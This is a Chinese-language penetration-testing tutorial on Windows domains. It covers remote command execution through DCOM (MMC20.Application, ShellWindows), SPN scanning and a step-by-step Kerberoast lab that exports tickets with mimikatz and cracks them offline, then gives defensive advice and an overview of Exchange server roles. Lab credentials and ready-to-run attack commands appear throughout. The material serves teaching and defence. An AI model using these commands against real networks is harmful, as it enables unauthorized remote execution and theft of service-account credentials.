Get-WmiObject -Namespace ROOT\cimv2 -Class Win32_DCOMApplication
使用DCOM执行任意命令
本地启动一个管理员权限的powershell,执行完毕,将以当前会话执行Administrator权限的clac,该方法通过ExecuteShellCommand运行了“计算器”程序,如果攻击者把calc
替换为恶意的payload
就会对计算机造成威胁。
一、
$com=[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
二、
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")).Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")
使用DCOM在远程机器上执行命令
下面通过一一个实验来讲解如何使用DCOM在远程机器上执行命令。在使用该方法时,需要关闭系统防火墙。在远程机器上执行命令时,必须使用具有本地管理员权限的账号。
实验环境
域控制器
- ip:192.168.110.155
- 域名:god.org
- 用户名:admin1
- 密码:123456-a
域内成员
- ip:192.168.110.153
- 域名:god.org
- 用户:Administrator
- 密码:123456@a
通过ipc$连接远程计算机
在域内成员的命令行中执行如下命令
net use \\192.168.110.155 "123456-a" /user:god.org\admin1
执行命令
1.调用MMC20.Application远程执行命令
建立ipc$后,输入如下命令,在远程系统中运行calc.exe
$com=
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.110.155"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")
我们在目标机器中可以看到calc
已经启动,启动的用户为admin1
2.调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
在远程主机上打开powershell,输入如下命令
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.110.155")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
以上方法均适用于 Windows 7 ~ Windows 10、Windows Servrer 2008 ~ Windows Server 2016。
SPN在域环境中的应用
Windows域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主体名称(Service Principal Name,SPN)。
SPN扫描
1.相关概念
在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、 LocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是加果在域用户账号下运行服务,则必须为要使用的账号手动注册 SPN。因为域环境中的每台服务器都需要在Kerberos身份验让服务中汪册 SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在那台机器上。
Kerberos身份验让便用 SPN将服务实例与服务登录账号关联起来。如果域中的计算机上安装了多个服务实例,那么每个实例都必须有自己的SPN.如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每个名称或别名注册一个SPN。根据Kerberos协议,当输人目己的账号和密码登录活动目录时,域控制器会对账户和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的譬如票据(TGT)发送给用户(作为用户访问资源时的身份凭据)。
下面通过一个例子来说明。当用户需要访问MSSQL服务时,系统会以当前用户身份向域控制器查询SPN为“MSSQL”的记录。找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的身份验证服务(AS)对TGT进行解密。确认无误后,由TGT将一张运行访问该SPN所对应的服务的票据和该SPN所对应的服务的地址发送给用户。用户使用该票据即可访问MSSQL服务。
SPN命令格式如下
SPN = serviceclass "/" hostname [":"port"] ["/" servicename]
- serviceclass:服务组件名称
- hostname:以"/"与后面的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机命和域名)
- port:以冒号分隔,后面的内容为该服务监听端口号。
- servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定名
2.常见SPN服务
MSSQL服务的示例代码如下
MSSQLSvc/computer1.god.org:1433
- MSSOLSvc: 服务组件的名称,此处为 MSSQL 服务。
- computer1.god.org:主机名为computer1,域名为god.org
- 1433:监听的端口为1433
serviceclass和 hostname是必选参数,port和servicename是可选参数,hostname和port之间的冒号只有在该服务对其端口讲行监听时才会使用。
Exchange服务的示例代码如下。
exchangeMDB/EXCAS01.god.org
RDP服务的示例代码如下。
TERMSERV/EXCAS01.god.org
WSMan/WinRM/PSRemoting 服务的示例代码如下。
WSMAN/EXCAS01.god.org
3.用于进行 SPN扫描的 PowerShell脚本
当计算机加入域时,主SPN会自动添加到添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务后,SPN也会被记录到计算机账户的相应属性中。
SPN扫描也称作“扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主题名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会触发内网中的IPS,IDS等设备的规则而产生大量的告警日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度较大。
Pelhel-AD-Rccon工具包提供了一系列服务与服务登录账号和运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、 Exchange. RDP、WinRM。 Powershell-AD-Recon,下载地址
(1)利用SPN发现城中所有的MSSQL服务
因为SPN是通过LDAP协议向域控制器进行查询的,所以攻击者只要获得个普通的域用户权限,就可以进行SPN扫描。
在域中的任意一台机器上,以域用户身份运行一个PowerShell进程,将脚本导人并执行,命令如下。Discover-PSMSSQLServers 在Powershell-AD-Recon内
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
这里没有安装MSSQL所以无信息。
(2)扫描域内所有的SPN信息
在域中的任意一台机器上,以域用户的身份运行一个Powershell进程,将脚本导入并执行
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices
在不使用第三方Powershell脚本的情况下,输入命令setspn -T domain -q */*
,即可使用windows自带的工具列出所有的SPN信息。
Kerberoast攻击分析与防范
Kerberoast是一种针 对Kerberos协议的攻击方式。在因为需要使用某个特定资源而向TGS发送Kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。 该票据使用与SPN相关联的计算机服务账号的NTLM Hash (RC4_HMAC_MD5),也就是说,攻击者会通过Kerberoast尝试使用不同的NTLM Hash来打开该Kerberos票据。如果攻击者使用的NTLM Hash是正确的,Kerbers票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码。
在域环境中,攻击者会通过Kerberast使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。因为在使用该方法时,大多数操作都是离线完成的,不会向目标系统发送任何信息,所以不会引起安全设备的报警。又因为大多数网络的域环境策略不够严格(没有给计算机服务账号设置密码过期时间;计算机服务账户的权限过高;计算机服务账号的密码与普通域用户账号密码相同),所以计算机服务账户的密码很容易受到Kerberoast攻击的影响。
1.实验:配置MSSQL服务,破解该服务的票据
(1)手动注册
输人如下命令,手动为MSSQL服务账号注册SPN
setspn -A MSSQLSvc/WEB.de1ay.com:1433 mssql
(2)查看用户对应的SPN
setspn -L de1ay.com\mssql
- 查看所有注册的SPN
setspn -T domain -q */*
查看指定用户注册的SPN,命令如下。
setspn -L de1ay.com\mssql
(3)使用adsiedit.msc查看用户SPN及其他高级属性
(4)配置指定服务的登录权限
执行如下命令,在活动目录中为用户配置指定服务的登录权限
gpedit.msc\Computer Configuration\Windows Settings\Security Setting\Local Policies\Users Rights Assignment \Log on as a service
(5)修改加密类型
因为Kerberos协议的默认加密方式为AES256_ HMAC,而通过tgsrepcrack.py无法破解该加密方式,所以,攻击者会通过服务器组策略将加密方式设置为RC4 HMAC_MD5,命令如下
gpedit.msc\Computer Configuration\Windows Settings\Security Setting\Local Policies\Security Options\Network security: Configure encryption types allowed for kerberos
(6)请求SPN Kerberos票据
打开Powershell输入如下命令
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/PC.de1ay.com"
powershell -C "Add-Type -AssemblyName System.IdentityModel; $Null=New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/PC.de1ay.com'"
(7)导出票据
在mimikatz中执行如下命令,将内存中的票据导出
kerberos::list /export
票据会导出在当前目录下的kirbi文件中,加密方式为RC4_HMAC_MD5
(8)使用Kerberoast脚本离线破解票据所对应账号的NTLMHash
该工具是用Python语言编写的,所以需要在本地配置Python2.7环境,Kerberoast下载地址。
将MSSQL服务所对应的票据文件复制到KaliLinux中。
在Kerberoest中有一个名为gepeack.y的脚本文件,其主要功能是离线破解票据的NTLM Hash在Kai Linux中打开该脚本,在命令行环境中输人如下命令
python tgsrepcrack.py wordlist.txt mssql.kirbi
如果破解成功,该票据所对应账号的密码将被打印在屏幕上。
===============================================================================
2.防范建议
针对Kerberoast攻击,有如下防范建议。
- 确保服务账号密码长度超过 25位;确保密码的随机性;定期修改服务账号的密码。
- 如果,就无攻击者无法将默认的AES256_HMAC加密方式更改为RC4_HMAC_MD5,就无法使用tgsrepcrack.py来破解密码。
- 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制使用AES_256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
- 许多服务账户在内网中被分配了过高的权限,且密码强度通常较差。攻击者很可能通过破解票据的密码,从域用户权限提升升到域管理员权限。因此,应该对服务账户的权限进行话当的配置,并提高密码的强度。
- 在进行日志审计时,可以重点关注ID为4769 (请求Krbers服务票据)的事件。如果有过多的4769日志,应该进一步检查系系统中是否存在恶意行为。
Exchange邮件服务器安全防范
Exchange是微软出品的电子邮件服务组件,是一个消息与协作系统。Exchange 在学校和企业中常常作为主要的电子邮件系统使用。Exchange的主要版本有Exchange 2003、Exchange 2007、Exchange 2010、Exchange 2013、Exchange 2016、Exchange 2019。
Exchange服务器可以以本地化的形式部署。也可以以Exchange Online的方式,将Exchange服务器托管在微软云端。Exchange 提供了极强的可扩展性、可靠性、可用性,以及极高的处理性能与安全性能。同时,Exchange 与活动目录、域服务、全局编排目录及微软的其他相关服务和组件有着紧密的联系。
在大型企业中,大多数办公业务都是通过电子邮件系统完成的,电子邮件中可能包含大量的源码、企业内部通讯录、明文密码,敏感业务登录地址及可以从外网访问内网的VPN账户和密码等信息。因此。在对服务器进行安全议置时,定要及时更新Exchange软件的安全补丁和Exchange服务器的安全补丁,有效降低Exchange沦陷情况的发生概率。Exchange支持PowerShell对其进行本地或远程操作,这方面方便了运维人员对Exchange的管理和配置,另一方面为攻击者对Exchange进行恶意操作创造了条件。
Exchange 邮件服务器介绍
1.邮件服务器角色介绍
通过划分不同的服务器角色( 使它们能执行属于自己的组件和服务),以及为这些角色设置依存关系,Exchange 将电子邮件处理变成了一个强大、丰富、稳定而又复杂的过程。Exchange在逻辑上分为三层,分别是网络层Network Layer)、目录层( DretoryLayer)。 消息层(MessgingLayer)。服务器角色处在消息层。
以Exchange Server 2010版本为例,共有五个服务器角色,分别是邮箱服务器、客户端访问服务器、集线传输服务器、统一消息服务器、边缘传输服务器。其他角色都可以都署在同一台主机上。邮件服务器,客户端访问服务器,集线传输服务器是核心服务器角色,只要部署这三个角色就你能提供基本的电子邮件处理功能。
邮箱服务器( Milbox Sver):提供托管邮箱、 公共文件夹及相关消息数据(例如地址列表)的后端组件是必选的服务器角色。
客户端访问服务器(Cient Acess Sever):接收和处理来自不同客户端的请求的服务器角色,为通过不同的协议进行的访问提供支持。在一个Exchang环境中,至少需要部署一个客户端访问服务器。
集线传输服务器(Hub Transport Server ): 也称中心传输服务器。该服务器角色的核心服务就是Microsoft Exchange Transport,负责处理Mail Flow ( Exchange管理员通过Mail Flow实现邮件出站与进站配置)、对邮件进行路由及在Exchange 组织中进行分发。该服务器角色处理所有发往本地邮箱和外部邮箱的邮件,确保邮件发送者和接收者的地址被正确地解析并能够执行特定的策略(例如邮件地址过滤、内容过滤、格式转换等),同时,可以进行记录、审计、添加免责声明等操作。正如“Hub Transport”的含义,该服务器角色相当于-一个邮件传输的中继站。在一个Exchange 环境中,至少需要部署一个集线 传输服务器。
统一消息服务器(Unified Messaging Server ):将专用交换机( Private Branch Exchange,PBX)和Exchange服务器集成在一起,允许用户通过邮件发送、存储语音消息和传真消息。该服务器角色为可选角色。边缘传输服务器( Edge Transport Server):专用服务器,可用于路由发往内部或外部的邮件,通常部署在网络边界并用于设置安全边界。该服务器角色接收来自内部组织和外部可信服务器的邮件,对这些邮件应用特定的反垃圾邮件、反病毒策略,将通过策略筛选的邮件路由到内部的集线传输服务器上。该服务器角色为可选角色
2.客户端/远程访问接口和协议
电子邮件通信一般分为邮件发送和邮件接收两个过程。邮件发送使用统一的通信协议, 即SMTP (简单邮件传输协议)。邮件接收则会使用多种协议标准,例如从POP (邮局协议)发展而来的POP3,以及使用较为广泛的IMAP (Intemnet邮件访问协议)。Exchange 开发了私有的IMAP协议(用于收取邮件)。新版本的Outlook通常使MAPI协议与Exchange进行交互。除此之外,早期的Outlook使用名为“Outlook Anywhere"的RPC进行交互。
Exchange支持的访问接口和协议列举如下。
- OWA Oulook WebApp): Exchange提供的Web邮箱
- EAC (Exchange Administrative Center): Exchange 管理中心,是组织中的Exchange的Web控制台
- Outlook Anywhere ( RPC-over-HTTP, RPC/HTTP )。
- MAPI (MAPI-over-HTTP, MAPIHTTP )。
- Exchange ActiveSync (EAS, XML/HTTP)。
- Exchange Web Services(EWS,SOAP-over-HTTP)